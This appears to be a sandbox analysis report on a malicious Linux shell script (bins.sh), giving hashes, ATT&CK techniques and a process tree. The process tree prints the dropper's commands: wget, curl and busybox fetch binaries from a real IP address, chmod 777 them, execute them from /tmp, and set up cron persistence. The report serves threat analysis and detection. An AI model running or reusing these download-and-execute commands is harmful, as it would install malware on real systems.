9b1d17c582d6613a642e6f17bbb341aeeb7f2eb8b7d8b518ac32012c6e8b6408

Analysis

max time kernel
149s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23-11-2024 22:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

067bacf49031140dffc75c87a55b982b
SHA1

1a8aa6e4e748ecc1869a60e3b61842f9a80084e3
SHA256

9b1d17c582d6613a642e6f17bbb341aeeb7f2eb8b7d8b518ac32012c6e8b6408
SHA512

513ef68d27873f31cede3c8d3af46ad2c9255a429b9c415482931510116735fbcf8818d2a4fa99a264cfbb10cb48dc35ff6ede5d0125bf00a6b49b20d893b15e
SSDEEP

192:mOCoaLvys0e7PbxAsA0AY9p3hh3tVV7Jpy7N10Aw4ckzWKD7/Ls7dFttVdJpSN1r:/OHW/UQ

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2211) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmod

pid process

1525 chmod
1532 chmod

pid	process
1525	chmod
1532	chmod

Executes dropped EXE 2 IoCs

Processes:

pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgWmvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

ioc	pid	process
/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	1526	pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	1533	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

Renames itself 1 IoCs

Processes:

mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

pid process

1534 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.ITHPqU crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1534	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.ITHPqU	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

description	ioc	process
File opened for reading	/proc/1687/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1706/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/559/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1575/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1591/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1642/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/668/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1593/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1620/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1741/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1746/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/31/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1237/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1292/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1653/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1551/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1677/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/954/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1569/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1581/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1792/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1278/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1784/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1543/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1550/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1617/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1618/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1699/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1761/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1674/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1717/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1727/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/478/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1169/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1557/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1673/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1595/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1605/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1127/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1627/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/18/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/496/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1140/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1485/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1570/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1639/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1660/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/182/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1676/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1740/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1773/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/13/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1548/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1665/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1691/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1747/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1753/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/11/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1181/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1702/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1735/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1600/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1700/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
File opened for reading	/proc/1724/cmdline	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxwgetcurlbusyboxwget

description	ioc	process
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	curl
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	busybox
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	wget
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	curl
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	busybox
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1516
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/chmod
  chmod 777 pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - File and Directory Permissions Modification
  PID:1525
- /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  ./pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Executes dropped EXE
  PID:1526
- /bin/rm
  rm pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Writes file to tmp directory
  PID:1529
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/chmod
  chmod 777 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  ./mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1533
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1535
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1536
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1537
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1538
- /bin/rm
  rm mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://87.120.125.191/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  PID:1543

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.ITHPqU

Filesize
210B

MD5
ba930807917b4b4f732367c00dc423c8

SHA1
f5ee58a91470cbb52003b4b288f692aa3d6bf07f

SHA256
8ff65c85fb51b96520a23484910dc80a47200842172b7b0b32ef5b22e797b6b3

SHA512
5b8a7ffb46280b08a5ffec70d620e7a2662321310d176b01eae31624572fdc67da2db78fa5855e7a32f8edf454b39a90f179a7bdc08733772584f4664e9fa164

Download Submit